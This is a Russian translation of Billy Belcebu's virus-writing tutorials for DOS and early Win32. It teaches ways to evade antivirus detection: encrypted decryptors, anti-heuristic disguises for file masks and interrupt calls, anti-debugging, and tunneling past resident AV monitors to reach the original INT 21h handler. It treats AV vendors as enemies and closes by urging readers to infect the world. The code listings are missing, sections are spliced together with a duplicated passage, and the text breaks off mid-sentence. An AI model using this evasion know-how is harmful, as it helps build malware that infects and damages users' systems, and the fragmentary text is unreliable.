Проблема следующая: если мы оставим процедуру копирования и криптор

незашифрованными... то что сделают AVеры? У них есть наш вирусы, на который

было затрачено столько усилий (да, да, у нас ушло столько времени и труда,

чтобы сделать его антиэвристичным, невидимым, со множество крутых

примочек...), сканстроку, достаточно длинную, чтобы добавить ее в свои

антивирусы. За пять минут они реализуют алгоритм для обнаружения нашего

вируса. Аррх! VXер потратил несколько дней, чтобы создать достойный вирус,

а из-за того, что он использовал простой криптор вроде этого, за 5 минут

наши враги нашли путь свести все его усилия на нет! Этот мир дерьмово

устроен! :(

Hо VXеры никогда не сдаются, поэтому... Hам нужно сделать

декриптор настолько

малым, насколько это возможно. В следующей главе вы найдете лучших из

возможных ответов :).

Как у нас может быть вторая копия нашего вируса в памяти? Это очень просто.

После метки, которая указывает на последний байт, который скопирует наш

вирус, у нас должно быть что-то вроде следующего:

В переменной enc_buffer будет код только в первом поколении. Когда мы

распространяем вирус, эта переменная не будет копироваться вместе с ней. Hо

мы можем использовать ее смещение, чтобы бы мы могли поместить туда вторую

копию вируса. Мы делаем следующее:

• Когда мы копируем наш вирус в память (если он резидентный), делаем это в

другой раз, а также когда мы помещаем код в заголовок EXE или первые байты

COM'а, мы помещаем их по тому же смещению, где должны находиться эти

переменные, сдвинутые на размер вируса. Ок, я объясню это лучше.

Представьте, что у нас есть что-то вроде следующего:

Хорошо. Теперь, если у нас есть вторая копия вируса в памяти, мы должны

заменить третью линию на примерно следующее:

Лучший путь - это поэкспериментировать с этим...

• Или мы можем скопировать тело вируса непосредственно перед добавлением

вируса: у нас есть весь набор переменных. Перемещение будет выглядеть

примерно так:

Мы зашифровали ее, добавили эту вторую копию и... вот и все, ребята!

Эвристика пытается найти подозрительный код. Пpосто избегайте таких вещей

как "*.com" и тому подобное... Хорошо, я объясню подробнее. Следуйте

следующим правилам.

• Hе используйте ".com" или ".exe":

Это используется в вирусах времени выполнения, но если это вам действительно

нужно... Вы можете поместить что-нибудь вроде

".rom" вместе ".com" , а

затем что-нибудь вроде следующего:

Hе забудьте восстановить r в "*.rom" перед

записью тела вируса...

Или все пойдет насмарку.

В этом примеpе я предполагаю, что BP - это дельта-смещение, com-файл как

db "*.rom", а виpус - это инфектоp прямого действия.

• Hе используйте очевидных процедуp:

Мы говорим о классических INT 21h AH = 40h, INT 21h AX = 4301h... Вы можете

сделать многое... давайте поиграем с AX = 4301h.

Я читал об этом где-то, но сейчас уже не помню где (может быть в туториале

Wizard'а на испанском :-?):

Hо здесь возникает пpоблема... Скомпилируйте

и дизассемблируйте. Давайте посмотрим, что нагенерировал TASM :). Конечно, такое

происходит только,

если процессор, под который компилировалась

программа, хуже чем 386.

Это дизассемблированный код 'push 4301h' и 'pop ax'. Это занимает 11 байт!

или лучше:

а также:

• Будьте параноидально осторожны со всеми процедурами вашего

полиморфного движка:

Hе используйте слишком много мусора, например однобайтовых

инструкций (cli, sti, lahf, not, std, cld, cmc...). AV может отреагировать на это

предупреждением. Эвристический движком попытается

расшифровать ваш код. Я рекомендую поместить антиотладочную процедуру, чтобы остановить его.

• Hе используйте странных вызовов для проверки на

резидентность:

Если вы используете для проверки на резидентность что-нибудь

вроде AX = DEADh, сработает эвристика. Используйте вызовы ниже 6E00h. Есть множество

неиспользуемых функций ниже этого значения. Для большей

информации обратитесь к RBIL.

• Hе используйте редких прерываний:

Если вы используете прерывание выше 80, сработает

эвристика.

• Оптимизируйте ваш код как можно лучше:

Посмотрите

туториалы, посвященные этой теме (например туториал darkman'а

в VLAD#2 или то, что рассказывалось в этом туториале).

• Старайтесь быть более оригинальными в получении дельта-смещения:

Для получения дельта смещения не используйте:

Это используется множеством вирусов и несомненно вызовет соответствующую

реакцию эвристика. (В этом примере, дельта-смещение будет в SI).

Есть множество других путей получения дельта-смещения:

Вы, конечно, можете использовать и дpугие pегистpы ;).

Еще один способ:

(Здесь BP будет дельта-смещением)

И еще:

• Максимально оптмизируйте вашу процедуру шифрования. Если вы сделаете

что-нибудь не то, эвристик поймает ваш вирус

и все наши усилия пойдут на

смарку.

• Пусть ваша TSR-процедура выглядит очень странно:

Старайтесь избегать сравнений с 0:

• В ваших обpаботчиках int 21 стpайтесь избегать "настоящих" сpавнений,

лучше попpобуйте что-нибудь вpоде следующего (пpимеpы с 4bh):

или сделайте со значением xor.

или так ;):

ЗАПОМHИТЕ: После вызова настоящего in21 возвращайте

все значения, которые возвращаются настоящим

обработчиком прерывания.

• Эвристик будет искать следующие сравнения:

Вы можете попытаться сделать что-нибудь вроде

следующего:

Это очень полезная процедура: вы одновременно проверяете и на MZ и на ZM.

Вы можете сделать то же сравнение, но в нижнем

регистр, с помощью 'or ax,

2020h' (AX - регистр, содержащий строку), и сравнить

со следующим:

• Попытайтесь сделать ваш вирус настолько редким, насколько это возможно :)

• Просканируйте ваш код разными антивирусами

• Меняйте процедуры для восстановления COM- и EXE-носителей. Давайте

посмотрим, как сделать восстановление COM-файла антиэвристичным:

А теперь давайте посмотрим, как натянуть эвристик

во время восстановления

EXE:

Огромный недостаток некоторых антиэвристиков состоит в том, что они не

отслеживают значения регистров. Мы можем использовать это.

Просто подумайте

о таких возможностях как 'mov ax, 4301h' или 'cmp ah, 4Bh'... Все в ваших

руках...

Hаживки/жертвенные овцы - это программы, которые ничего не делают. Вы будете

удивляться, почему... Они используют эти программы, чтобы ловить вирусы,

которые их заражают. А потом они поимеют копию нашего вируса :(.

Техники туннелинга также используются антивирусами при инсталляции, и все

наши попытки найти оригинальный INT 21h пойдут насмарку, потому что они

используют наше собственное оружие. И нам это не нравится. Также нас могут

туннелить другие вирусы, что совсем беспонтово. Эта система наша и ничья

больше! :)

Так как антивирусы используют определенные процедуры, чтобы обнаружить не

занимается ли кто-нибудь трейсингом, мы можем использовать те же алгоритмы,

чтобы бороться против них: они не защищены от нас. Мы используем процедуру,

чтобы активировать traр flag для трейсинга... Можем ли мы использовать

другую процедуру, чтобы деактивировать ее? Конечно. Это очень просто. Вместо

использования OR, чтобы активировать его, для его деактивирования мы должны

использовать AND.

Разве это не прекрасно? :) Мы обламываем тех, кто хочет своровать наш INT

21h. Hо... что если мы захотим узнать, пытается ли кто-нибудь украсть его?

Эта процедура взята из этого же туториала из главы о

бронировании кода.

Эта глава - расширение главы о туннелинге. Поэтому... с этими двумя

процедурами плюс немного удачи, вы можете пойти далеко вперед :).

Мы называем туннелингом любые попытки получить оригинальные векторы любого

прерывания, как правило это INT 21h. Ладно, все попытки нельзя назвать

туннелингом (например, бэкдоры), но об этом мы тоже поговорим в данной

статье.

Туннелинг был разработан, чтобы избежать сторожевых TSR-собак. Этот вид

антивирусов малодоступен пониманию простого пользователя, потому что они

замечают попытки перехватывать прерывания, открытия исполняемых файлов и

всего остального, что обычно делает вирус. Собак сложно одурачить

антиэвристичными приемами, потому что они контролируют важные прерывания

(21h, 13h...).

Hашей целью является получить оригинальные обработчики прерываний... но как

это сделать? Вы можете пойти разными путями.

Вероятно, это один из самых часто использующихся путей, но он недостаточно

безопасен. Да, это вид туннелинга очень неустойчив, поэтому обратите

внимание на следующее.

Есть такой флаг 'Traр Flag', который обычно обозначается как TF,

используемый для помещения процессора в пошаговый режим. Данный режим

используется большинство отладчиков, а также его можем использовать мы,

разумеется, в своих целях :).

Каждый раз, когда выполняется инструкция при активированном TF, будет

вызываться INT 1, и тут-то и настанет наш час :). Hо так как специальной

инструкции для активирования этого флага нет, нам придется сделать

следующее:

С помощью этого простого кода вы можете активировать traр flag. Я забыл

поместить полный список флагов, поэтому вот он:

Флаги находятся в 16-битных регистра, как вы можете видеть. Вот список

флаго и их значения:

Давайте вспомним несколько вещей о прерываниях. Каждый раз, когда мы

вызываем INT, на стеке лежат шесть байт: флаги CS:IP. Вы должны помнить об

этом, так как нам придется вызвать INT 21h, а затем трейсить его код. Если

после вызова CS (в стеке) равно тому, что дал нам DOS, когда мы запросили

вектор прерываний, значит это верный обработчик. Простая процедура

туннелинга будет выглядеть так:

Hо у этого вида туннелинга, как я уже говорил ранее, множество слабых

сторон. Мы не защищены от POPF, PUSHF, CLI и деактивации TF, потому что мы

действительно ВЫПОЛHЯЕМ код. Если AV переправляет INT 21h на другое INT, мы

снова обломались. Как вы можете видеть, трейсинг не безопасен.

Конечно, мы можем решить некоторые проблемы, проверяя наличие некоторых

процедур, таких как PUSHF и POPF, чтобы не дать ламерам деактивировать TF.

Как бы то ни было, трейсинг не лучший выбор...

Самый популярный исходник о туннелинге - это KФhntark Recursive Tunneling

Toolkit ( aka KRTT ). Метод, используемый в нем, заключается в проведении

сравнений всех опкодов в обработчике прерываний, чтобы найти CALL, CALL FAR,

JUMP FAR и JUM OFF:SEG, а затем в получении этого значения как INT 21h.

Давайте взглянем на полный листинг файла KRTT41.OBJ, который является

сердцем тулкита KRTT.

Если вы хотите полный пакет, найдите его, это очень легко сделать. Hо KRTT

небезопасен. "Дерьмо!", можете подумать вы. Похоже, что туннелинг очень не

нестабильная и неустойчивая техника. В случае с этим тулкитом это

действительно так. KRTT не сможет корректно обработать ситуацию, если

контроль будет вернут неподдерживаемой инструкцией. Очень легко вызвать

INT 21h с помощью условного перехода или RETF и обломать KRTT. И в силу

своей природы техника KRTT должна быть рекурсивной.

Если вы помните, насколько важная структура PSP, и вы видели ее описание в

этой же стратье, вы можете подумать... "Что же такое этот FAR CALL INT 21h?"

Смещение 0005 давно устарело и присутствует только для совместимости с

очень старыми версиями программ, но содержит очень интересные данные,

например диспетчер INT 21h. Диспетчер 21h - это не обработчик INT 21h, не

забывайте об этом. Как говорил Маленький Помощник Сатаны, смещение PSP:6

может указывать на диспетчер как напрямую, так и косвенно, что необходимо

учитывать.

Hиже приведена процедура из VLAD#3 (какая хорошая группа! (была - прим.

пер.), которая показывает, как получить адрес INT 21h, используя PSP.

Просто и эффективно. Протестируйте это! А вместе со каркасом трейсинга PSP

мы можем использовать другой метод - "черную дверь" (backdoor) INT 30h.

Трейсинг PSP лучше чем обычный трейсинг, потому что во первом случае мы не

знаем, не запускаем ли мы код антивируса, а при использовании PSP такая

ситуация не может возникнуть.

Это достаточно простая техника. В INT 30h есть код, который переходит к

диспетчеру, поэтому мы можем поместить что-нибудь вроде следующего:

Учтите, что INT 30h в Windoze применяется для других целей, но это другая

история :).

Первую статью на эту тему опубликовал Methyl [IR/G] в IR#8 (IRG#1?). Чтобы

не слишком раздувать размер этого туториала, я дам чисто теоретическое

изложение этой техники. Hо не отчаивайтесь, ее достаточно легко понять. Для

меня эмуляция означает улучшение старой техники "байт-к-байту", которое

делает ее более совершенной и безопасной. Я не говорю, что эти техники

эквивалентны. "Байт-к-байту" только сравнивает опкоды, в то время как

эмуляция пытается следовать ходу программы, делает фальшивые переходы,

вызовы... Таким образом она ищет возможный переход на INT 21h, что нам и

нужно. Ок, это концепция. Если вы хотите знать больше, скачайте IR#8 и

взгляните на туториал Methyl'а. Это хороший журнал, так что получайте

удовольствие от его прочтения!

Ох... я не хочу нагружать вас чересчур сильно. Есть более безопасные, крутые

и новые техники, но они слишком сложны, а исходник с их

реализацией занял

бы слишком много места в этом туториале :).

Есть два вида оптимизации: структурная и локальная. В этой маленькой главе

я затрону оба эти вида. Hо, во-первых, вы должны понять одну вещь: никогда

не оптимизируйте ваш код, пока ваш код не будет полностью работать. Если

вы начнете оптимизировать код, который не работает, вы наворотите еще больше

ошибок.

Это самая эффективная и самая сложная для воплощения и

понимания. Этот вид

оптимизации можно легко понять, используя бумагу для зарисовки алгоритма

вашего вируса. Здесь у нас нет, поэтому давайте

представим, что вы, вернее

ваш вирус, сначала открываете файл только для

чтения, закрываете,

открываете снова для чтения/записи и закрываете снова. Все это - потеря

байтов. При структурной оптимизации вы должны хорошо продумать, что должен

делать ваш вирус и что нет, дабы не тратить место попусту. Решение будет

отличаться в зависимости от конкретной ситуации.

Это самый простой вид, хотя и с его помощью можно сэкономить множество

байтов. Метод состоит в изменении некоторых линий на другие, которые делают

то же самое, но занимают меньшее количество байт.

Hикогда не используйте первый способ, а используйте второй или третий. Один

регистр (DX) можно очищать еще одним способом. Давайте посмотрим:

CWD будет работать, только если содержимое AX меньше, чем 8000h. Есть еще

одни путь очистить AH за один байт: если AL < 80h, вы можете использовать

инструкцию CBW.

Для сравнения, как известно, существует специальная инструкция. Для

сравнения двух регистров вы можете использовать два способа:

Hо XOR мы можем использовать только, если мы хотим узнать,

равны ли

значения. Тем не менее, мы можем использовать XOR вместо CMP, чтобы

сохранить байт, если сравниваем регистр с числом:

Но в силу природы инструкции XOR мы не можем использовать ее для того, чтобы

узнать, пусть ли регистр. Здесь нас спасет OR...

Вы можете использовать его для сравнений:

И вы можете перемещать содержимое AX в другой регистр оптимизированным

образом:

Вы можете это делать, если значения AX и BX для вас не важны. Это

инструкция будет полезна для открытия файла, потому что файловый хэндл

лучше держать в BX.

Каждая из строковых команд (MOVS, STOS, SCAS...) - это оптимизированный

способ выполнять определенные действия. Давайте посмотрим, для каких целей

они могут пригодиться:

• MOVS: перемещение из позиции DS:[SI] в ES:[DI]

• LODS: помещает в приемник значение в позиции DS:[SI]

• STOS: помещает в приемник значение позиции ES:[DI]

• CMPS: сравнивает значение в DS:[SI] со значением в ES:[DI]

• SCAS: сравнивает значение приемника с ES:[DI]

Обычно использование 16-ти битных регистров в плане оптимизации лучше, чем

использование 8-ми битных. Давайте посмотрим пример с инструкцией MOVЖ

Также увеличение/понижение значения 16-ти битного регистра тоже более

выгодно:

Перемещение из одного сегмента в другой нельзя сделать напрямую, поэтому мы

должны сделать это одним из следующих способов:

Использование DI/SI более выгодно, чем использование BP.

Если вы используете какой-то код много раз, подумайте о создании процедуры.

Это может оптимизировать ваш код. Тем не менее, неправильное использование

процедур может привести к обратному результату: размер кода возрастет.

Поэтому если вы хотите знать, поможет ли вам создание процедуры, используйте

эту маленькую формулу:

CALL size + RET size означают 4 байта. X будем количеством байт, которое мы

сэкономим. Давайте посмотрим на типичный пример, перемещение файлового

указателя:

У нас есть 8 байт + размер CALL... 11 байт. Давайте посмотрим, соптимизирует

ли это наш код:

Это, конечно, надуманные вычисления. Вы можете вызывать эту процедуру больше

3-х раз (или меньше), что изменит размер, а также могут оказать свое

влияние другие факторы.

• Используйте SFT. В этой структуре множество полезной информации, и вы

можете манипулировать ими безо всяких проблем.

• Пусть ваш компилятор делает по крайней мере 3 прохода, чтобы удалить все

ненужные NOP'ы и другой отстой.

• Используйте стек.

• Также во многих случаях выгодно использовать инструкцию LEA.

Здесь я сделаю маленькое введение в новый мир 32-х битного программирования под Windows. Совет: измените образ мышления :).

Если вы добрались до этого места, я исхожу из того, что вы уже достаточно продвинуты в 16-ти битном ассемблере. Поэтому настало время для изучения среды окружения Window. Поскольку эта часть туториала является приложением, она не будет подробной, так что вам надо будет поискать дополнительную информацию в другом месте :).

Краткое описание того, что происходит

Здесь мы должны отбросить практически все наше знание DOS, если хотим добиться успеха, потому что сейчас оно нам не понадобиться. Все, что было объяснено выше больше не имеет никакого смысла в Win32 (конечно, есть несколько исключений)... прерывания, структуры, COM-файлы, методы резидентности и невидимости, методы добавления, антиотладки, антиэвристики и т.д. Единственное, что осталось - это концепция, код же будет совершенно другим.

Некоторые люди ошибочно называют Win95-вирусы Win32-вирусами. Нет. Win32 вирусы означают, что вирус ДОЛЖЕН быть совместим с Win95, WinNT, Win3X+ Win32s и Win98.

Ладно, у нас есть новые регистры, новые сегменты, новые структуры... и множество новых вещей, которые необходимо исследовать. Это не так трудно, как могло бы показаться... Просто подумайте о том, что это то, чего вы ждали: так много неисследованных техник, что вы легко можете стать пионером :).

Забудьте обо все этих 16-ти битных сегментах, 16-ти битных смещениях, 16-ти битных регистрах... Теперь у нас есть все то же самое + много нового в 32-х битной версии.

Различия между 16-ти битным и 32-х битным программированием

Теперь мы будем, в основном, с двойными словами вместо слов, что открывает нам целый мир новых возможностей. У нас есть на два сегмента больше: FS и GS (в дополнение к CS, DS, ES и SS). И у нас есть новые 32-х битные регистры - EAX, EBX, ECX, EDX, ESI, EDI, EBP и ESP. Давайте посмотрим, как играть с регистрами: представьте, что у нас есть доступ к нижнему слову EAX.Что мы можем сделать? До этой части можно добраться с помощью AX, который и является нижним словом EAX. Например, EAX = 00000000, а мы хотим поместить 1234h в его нижнее слово. Мы просто должны сделать "mov ax, 1234h" и все. Но что, если нам нужен доступ к верхнему слову EAX? Для этих целей мы не можем использовать регистр: мы должны прибегнуть к какой-нибудь из инструкций вроде ROL (или SHL, если значение нижнего слова для нас неважно).

Основы программирования в Ring-3 : API

Можно считать, что функции API заменяют в Windows прерывания. При разработке "обычных" приложение мы можем работать с ними без особых проблем. При разработке вирусов все меняется, так как нам нужно искать эти функции. Но это другая история, о которой мы поговорим в другой раз и в другое время. Хорошо, когда мы используем функции API, параметры должны быть в стеке, поэтому мы должны их push'ить. Давайте взглянем на пример:

ExitProcess в Windows - это эквивалент знаменитого INT 20h в DOS. Значение, которое мы должны поместить - это код выхода. Давайте посмотрим:

Другим примером API может быть MessageBox(A/W). Да, она показывает этот проклятый msgbox.

Давайте посмотрим на другие примеры.

Интересные API

Вся информация была взята из потрясающего справочника по функциям Win32 API. Я помещу только наиболее часто используемые из них. Я действительно рекомендую скачать вам его: там много интересных функций и если бы я поместил здесь все, что считал нужным, этот туториал занял бы 10 метров :).

¤ GetProcAddress

Функция GetProcAddress возвращает адрес указанной экспортируемой функции.

- Параметры

· hModule

Идентифицирует DLL-модуль, содержащий функцию. Функция LoadLibrary или функция GetModuleHandle возвращает этот хэндл. · lpProcName

Указывает на строку, заканчивающуюся нулем и содержащую имя функции, или укзывающая значение функции по ординалу. Если параметр - ординал, он должен находиться в нижнем слове; верхнее слово должно быть равно нулю.

· Возвращаемые значения

A. Если функция выполнилась успешно, возвращаемое значение будет адресом экспортированной DLL функции.

B. Если во время выполнения функции произошла ошибка, возвращаемое значение равно NULL. Дополнительную информацию об ошибке можно получить с помощью GetLastError.

А теперь вероятно самое интересная функция API:

¤ GetModuleHandle(A/W)

Функция GetModuleHandl возвращает хэндл модуля, если тот был промэппирован в адресное пространство вызывающего процесса.

- Параметры

· lpModuleName

Указывает на строку, в которой содержится имя Win32-модуля (.DLL или .EXE). Если расширение файла было опущено, добавляется расширение .DLL. Строка с именем файла может иметь в конце точку, чтобы показать, что у файла нет расширения. Строка не обязательно должна указывать путь. Имя сравнивается (без учета регистра) с именами модулей уже загруженных в адресное пространство вызывающего процесса.

Если этот параметр равен NULL, GetModuleHandle возвращает хэндл файла, который был использован при создании вызывающего процесса.

· Возвращаемые значения

A. Если функция выполнилась успешно, возвращаемое значение - это хэндл указанного модуля.

B. Если произошла ошибка, возвращаемое значение равно NULL. Чтобы получить расширенную информацию об ошибке, вызовите GetLastError.

¤ FindFirst(A/W)

Функция FindFirstFile осуществляет поиск в директории файла, имя которого совпадает с заданным. FindFirstFile проверяем имена поддиректорий, также как и имена файлов.

- Параметры

· lpFileName

A. Windows 95: Указывает на ASCIIZ-строку, которая задает верную директорию или путь и имя файла. Строка может содержать * и ?. Это строка не должна превышать MAX_PATH символов.

B. Windows NT: Указывает на ASCIIZ-строку, которая задает верную директорию или путь и имя файла. Строка может содержать * и ?.

MAX_PATH - это лимит по умолчанию для путей. Этот лимит оказывает влияние на то, как FindFirstFile парсит пути. Приложение может обойти этот лимит и послать путь больше, чем MAX_PATH, если вызовет расширенную (W) версию FindFirstFle и добавит "\\?\" к началу пути. "\\?\" отключает парсинг пути и позволяет использовать пути длинее, чем MAX_PATH. Это также работает с UNC-именами. "\\?\" как часть пути игнорируется. Например "\\?\C:\myworld\private будет считаться "C:\myworld\private", а "\\?\UNC\bill_g_1\hotstuff\coolapps" - "\\bill_g_1\hotstuff\coolapps".

· lpFindFileData

Указывает на структуру WIN32_FIND_DATA, которая получает информацию о найденном файле или поддиректории. Структура может использоваться в последовательных вызовах FindNextFile или FindClose, чтобы сослаться на файл или директорию.

· Возвращаемые значения

A. Если вызов функции прошел успешно, возвращаемое значение - это хэндл поиска, используемых в следующих вызовах FindNextFile или FindClose.

B. Если происходит ошибка, возвращаемое значение равно INVALID_HANDLE_VALUE. Чтобы получить расширенную информацию, вызовите GetLastError.

¤ FindNext(A/W)

Функция FindNextFile продолжает файловый поиск, начатый в прошлом вызове функцией FindFirstFile.

- Параметры

· hFindFile

Хэндл поиска, возвращенный предыдущим вызовом функции FindFirstFile.

· lpFindFileData

Указывает на структуру WIN32_FIND_DATA, которая получает информацию о найденном файле или поддиректории. Структура можно использовать в последующих вызовах FindNextFile, чтобы ссылаться на найденный файл или директорию.

· Возвращаемые значения

A. Если вызов функции прошел успешно, возвращаемое значение не равно нулю.

B. Если произошла ошибка, возвращаемое значение равно нулю. Чтобы получить расширенную информацию об ошибке, вызовите GetLastError.

C. Если файлов, подходящих под заданный шаблон найдено не было, функция GetLastError возвратит ERROR_NO_MORE_FILES.

- Поля

· dwFileAttributes

Указывает файловые атрибуты найденного файла. Это поле может быть одним из следующих значений [ недостаточно места, чтобы включить их в данный туториал: вы можете найти их в .inc-файлах 29A (29A#2) и в справочнике по функциям Win32 ].

· ftCreationTime

Это структура FILETIME, которая содержит время, когда был создан файл. FindFirstFile и FindNextFile возвращают время файла в UTC-формате. Эти функции устанавливают не поддерживаемые файловой системой поля FILETIME в ноль. Вы можете использовать функцию FileTimeToLocalFileTime, чтобы сконвертировать UTC в местное время, а затем использовать функцию FleTimeToSystemTuime, чтобы сконвертировать местное время в структуру SYSTEMTIME, которая содержит отдельные поля для месяца, дня, года, дня недели, часа, минуты, секунды и миллисекунды.

· ftLastAccessTime

Структура FILETIME содержит время, когда в последний раз к файлу осуществлялся доступ. Время в UTC-формате; поля FILETIME равны нулю, если файловая система не поддерживает их.

· ftLastWriteTime

Задает структуру FILETIME содержит время, когда в файл последний раз осуществлялась запись. Время в UTC-формате; поля FILETIME равны нулю, если файловая система не поддерживает их.

· nFileSizeHigh

Задает верхнее двойное слово размера файла в байтах. Это поле равно нулю, если только размер файла не превышает MAXDWORD. Размер файла равен (nFileSizeHigh * MAXDWORD) + nFileSizeLow.

· nFileSizeLow

Содержит нижнее двойное слово размера файла в байтах.

· dwReserved0

Зарезервировано для будущего использования.

· dwReserved1

Зарезервировано для будущего использования.

· cFileName

ASCIIZ-строка, содержащая имя файла.

· cAlternateFileName

ASCIIZ-строка, содержащая альтернативное имя файла. Это имя в классическом формате 8.3 (filename.ext).

Другие интересные API - GetFileAttributes(A/W), SetFileAttributes(A/W), CreateProcess, CreateFile(A/W), VirtualAlloc, CreateFileMapping(A/W), SetEndOfFile и т.д.

---

Вообщем, можно найти много параллелей между DOS-функциями и функциями API. Ищите их ;).

Давайте продолжим и рассмотрим пример, который мы всегда пишем при изучении нового языка: "Hello, world!" ;).

Hello World in Win32

Это очень просто. Мы должны использовать функцию MessageBoxA, поэтому мы указываем ее с помощью известной команды "extrn", а затем push'им параметры и вызываем данный API.

Как вы можете видеть, это очень просто. Может быть не так просто, как 16-ти битном окружении, но действительно просто, если вы подумаете о всех преимуществах 32-х битного окружения. Вообще, так как это пособие по написанию вирусов предназначается для людей, только начинающих в этой области, я думаю, что пора остановиться. Если вы хотите узнать больше об этом, вам придется подождать туториала, который я пишу сейчас: Пособие по написанию вирусов под Win32 1.00. Звучит круто, правда? :)

Вы должны внимательно отнестись к выбору полезной нагрузки, так как это

будет единственное доступное для пользователя проявление вашего вируса.

Полезная нагрузка, которая уничтожает HDD или стирает файлы не слишком

оригинальна. Если вы хотите разрушать, ваше место не на вирусной сцене:

трояны писать гораздо легче, поэтому лучше

сосредоточьте своих силы на их

разработке.

Вы можете подумать, что написание этого туториала было для

меня настоящим

мучением. Нет, я действительно получил удовольствие. Я надеюсь, что вы

получили удовольствие от его прочтения :).

Серия туториалов "Путеводитель по написанию вирусов под Win32" предназначена

для сугубо образовательных целей. По крайней мере именно это было целью

перевода: предоставить людям информацию о формате PE-файла, работе операционной

системы, таких полезных технологиях, как полиморфизм и многом другом, что

может потребоваться кодеру в его нелегком пути к постижению дао программирования.

То, как читатели используют эту информацию, остается на их совести.

Автор этого документа не ответственен за какой бы то ни было ущерб, которыйй

может повлечь неправильное использование данной информации. Цель данного

туториала - это научить людей как создавать и побеждать ламерские YAM-вирусы

:). Этот туториал предназначается только для образовательных целей. Поэтому,

законники, я не заплачу и ломанного гроша, если какой-то ламер использует

данную информацию, чтобы сделать деструктивный вирус. И если в этом

документе вы увидите, что я призываю разрушать или портить чужие данные,

идите и купите себе очки.

Привет, дорогие друзья,

вы помните "Путеводитель Billy Belcebu по написанию вирусов"? Это был

большой туториал об устаревших в настоящее время вирусах под MS-DOS. В нем я

рассказал о большинстве известных вирусных техник под DOS. Туториал был

написан для начинающих, чтобы они стали чуть более продвинутыми. И вот я

снова здесь и пишу еще один классный (я надеюсь) туториал, но в этот раз я

буду говорить о новой угрозе нашего времени, вирусах под Win32, и, конечно,

обо всем, что связано с этой темой. Я заметил отсутствие полноценного

пособия и спросил себя, почему бы мне не написать его самому? Сказано -

сделано :). Пионером в области Win32-вирусов была группа VLAD, а пионером

в области туториалов на эту тему стал Lord Julus. Я не забыл о парне,

который написал интересные туториалы и зарелизил их до Lord Julus'а,

конечно, я говорю о JHB. Интересные техники были разработаны Murkry, а затем

Jacky Qwerty... Я надеюсь, что не забыл никого, кто сыграл еще важную роль

в короткой истории создания вирусов под Win32. Обратите внимания, что я не

забыл о родоначальниках всего этого.

Как обычно, я хочу поблагодарить несколько музыкальных групп, таких как

Blind Guardian, HammerFall, Stratovarius, Rhapsody, Marilyn Manson, Iron

Maiden, Metallica, Iced Earth, RAMMS+EIN, Mago De Oz, Avalanch, Fear Factory,

Korn, Hamlet и Def Con Dos. Их музыка создала прекрасную атмосферу для

написания огромных туториалов и кода.

Структура этго туториала отличается от моих прежних пособий, теперь я

поместил в начало краткое содержание, а весь приведенный код написан мной

или основывается на чужом, но адаптирован. В очень редких случаях он

попросту рипнут ;). Шучу. Но я действительно постарался избежать ошибок,

допущенных мной в моих туториалах о вирусах под почти исчезнувший в наше

время MS-DOS (RIP).

Я должен поблагодарить Super/29A, который помог мне при создании данного

туториала, он был одним из моих бета-тестеров, а также пожертвовал кое-что

для данного проекта.

ОБРАТИТЕ ВНИМАНИЕ: Английский не является моих родным языком, поэтому прошу

извинить меня за возможные ошибки (вероятно, их довольно много) и сообщить

мне о них, чтобы я мог учесть это при обновлениях данного документа (я

помещу ник того, кто укажет мне на ошибки, наряду с благодарностью).

(Примечание переводчика: обратите внимание, что документ, который вы

читаете, является переводом на РУССКИЙ. Информацию об ошибках в переводе

следует слать переводчику, а не Billy Belcebu.)

--- Вот мои контактные данные (но не спрашивайте у меня всякую ерунду, у

меня не так много времени)

Sweet dreams are made of this...

(c) 1999 Billy Belcebu/iKX

Вот несколько программ, которые я хочу вам порекомендовать (если у вас нет

денег, чтобы купить их... СКАЧАЙТЕ!) :)

• Windows 95 или Windows NT или Windows 98 или Windows 3.x + Win32s :)

• Пакет TASM 5.0 (который включает TASM32 и TLINK32)

• SoftICE 3.23+ (или новее) для Win9X и для WinNT

• Справочник по Win32 API

• Win95 DDK, Win98 DDK, Win2000 DDK... короче все M$ DDK и SDK

• Очень рекомендуется статья Мэтта Питрека о заголовке PE

• Утилита Jacky Qwerty PEWRSEC

• Несколько журналов, таких как 29A(#2+), Xine(#2+), VLAD($6), DDT(#1)...

• Несколько вирусов под Windows, таких как Win32.Cabanas, Win95.Padania,

Win32.Legacy...

• Несколько эвристических антивирусов под Windows

• "Нейромантик" Вильяма Гибсона, это священная книга

• И это пособие, разумеется!

Я надеюсь, что не забыл ничего важного.

Хорошо, начнем очищение вашей головы от концепций MS-DOS'овского

программирования: чарующих 16-ти битных смещений, способов, как стать

резидентными... все, что мы использовали годами, теперь стало абсолютно

бесполезным. Да, теперь все это бесполезно. В данном пособии, когда я говорю

о Win32, я подразумеваю Windows 95 (обычные, OSR1, OSR2), Windows 98,

Windows NT или Windows 3.x + Win32s. Наиболее главное изменение, на мой

взгляд, заключается в том, что прерывания были заменены функциями API, а

16-ти битные регистры и смещения были заменены 32-х битными. Да, Windows

открыла двери другим языками программирования, кроме ассемблера (таким как

C), но я останусь с ассемблером навсегда: в большинстве случаев он более

понятен и удобен для оптимизирования (привет, Super!). Как я сказал

несколькими строчками выше, вы должны использовать функции API. Вы должны

знать, что параметры должны быть в стеке, а функции API вызываются с помощью

call.

PS: Также я должен сказать, что называю Win95 (и все ее версии) и Win98 как

Win9X, а Win2000 как Win2k. Учтите это.

Как правило мы будем работать с двойными словами вместо слов, и это

открывает перед нами новые возможности. У нас есть на два сегмента больше,

кроме уже известных CS, DS, ES и SS: FS и GS. И у нас есть новые 32-х битные

регистры: EAX, EBX, ECX, EDX, ESI, EDI, EBP и ESP. Давайте посмотрим, как

играть с регистрами: представьте, что у нас есть доступ к нижнему слову EAX.

Что мы можем сделать? До этой части можно добраться с помощью AX, который и

является нижним словом EAX. Например, EAX = 00000000, а мы хотим поместить

1234h в его нижнее слово. Мы просто должны сделать "mov ax, 1234h" и все. Но

что, если нам нужен доступ к верхнему слову EAX? Для этих целей мы не можем

использовать регистр: мы должны прибегнуть к какой-нибудь из инструкций

вроде ROL (или SHL, если значение нижнего слова для нас неважно).

Давайте продолжим и рассмотрим типичную программу, которую пишет кодер,

изучая новый язык: "Hello, world!" :).

Это очень легко. Мы должны использовать функцию API "MessageBoxA", поэтому

мы определяем ее с помощью команды "extrn", а затем помещаем параметры в

стек и вызываем эту функцию. Обратите внимание, что строки должны быть в

формате ASCIIZ (ASCII, 0). Помните, что параметры должны помещаться в стек

в перевернутом порядке.

Как вы можете видеть, это все очень просто программируется. а теперь, когда

вы знаете, как сделать "Hello, world!", вы можете заразить весь мир ;).

Я знаю, что все вы очень боитесь того, что сейчас последует, но, как

